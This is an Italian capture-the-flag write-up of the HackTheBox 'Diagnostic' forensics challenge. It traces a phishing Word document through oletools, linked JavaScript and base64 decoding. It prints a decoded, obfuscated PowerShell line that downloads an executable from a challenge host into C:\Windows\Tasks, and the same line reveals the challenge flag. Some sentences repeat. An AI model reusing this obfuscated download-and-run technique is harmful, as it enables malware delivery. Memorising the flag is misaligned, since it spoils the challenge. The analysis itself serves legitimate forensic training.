Abbiamo trattato l'analisi di un esempio di documento Word di Microsoft Office utilizzando oletools per estrarre macro e collegamenti rilevanti. Il documento di esempio contiene un collegamento che fa riferimento a una pagina Web contenente un codice Javascript. Il codice JS conteneva un comando Powershell codificato base64 che esegue una chiamata a un dominio esterno per recuperare un file eseguibile. Questo faceva parte della sfida forense diagnostica di HackTheBox.. Questo faceva parte di Diagnostica HackTheBox. Questo faceva parte Diagnostica HackTheBox.
Ottieni le note sul certificato OSCP
Il corso completo di Penetration Test con BackBox
Il nostro SOC ha identificato numerose e-mail di phishing in arrivo che affermano di avere un documento su un'imminente ondata di licenziamenti in azienda. Tutte le e-mail contengono un collegamento a diagnostic.htb/layoffs.doc. Da allora il DNS per quel dominio ha smesso di risolversi, ma il server ospita ancora il documento dannoso (la tua finestra mobile). Dai un'occhiata e scopri cosa sta succedendo.
Video in evidenza
- Abbiamo usato oleid e oleobj per analizzare il documento word denominato layoff.doc
- Il documento contiene un collegamento esterno che fa riferimento a una pagina Web che contiene un Javascript
- Abbiamo usato il Tabella ASCII per convertire char[58] e char[34] nel corrispondente ASCII.
- Abbiamo quindi utilizzato Cyberchef per convertire il base64 e questo è stato convertito nel seguente
${f`ile} = (“{7}{1}{6}{8}{5}{3}{2}{4}{0}”-f'}.exe','B{msDt_4s_A_pr0′ ,'E','r…s','3Ms_b4D','l3′,'toC','HT','0l_h4nD')
&(“{1}{2}{0}{3}”-f'ues','Invoke','-WebReq','t') (“{2}{8}{0}{4}{ 6}{5}{3}{1}{7}”-f '://au','.htb/2′,'h','ic','to','agnost','mation. di','/n.exe','ttps') -OutFile “C:\Windows\Tasks\$file”
- Abbiamo usato PowerShell per decodificare quanto sopra nella bandiera della sfida
Videoprocedura dettagliata
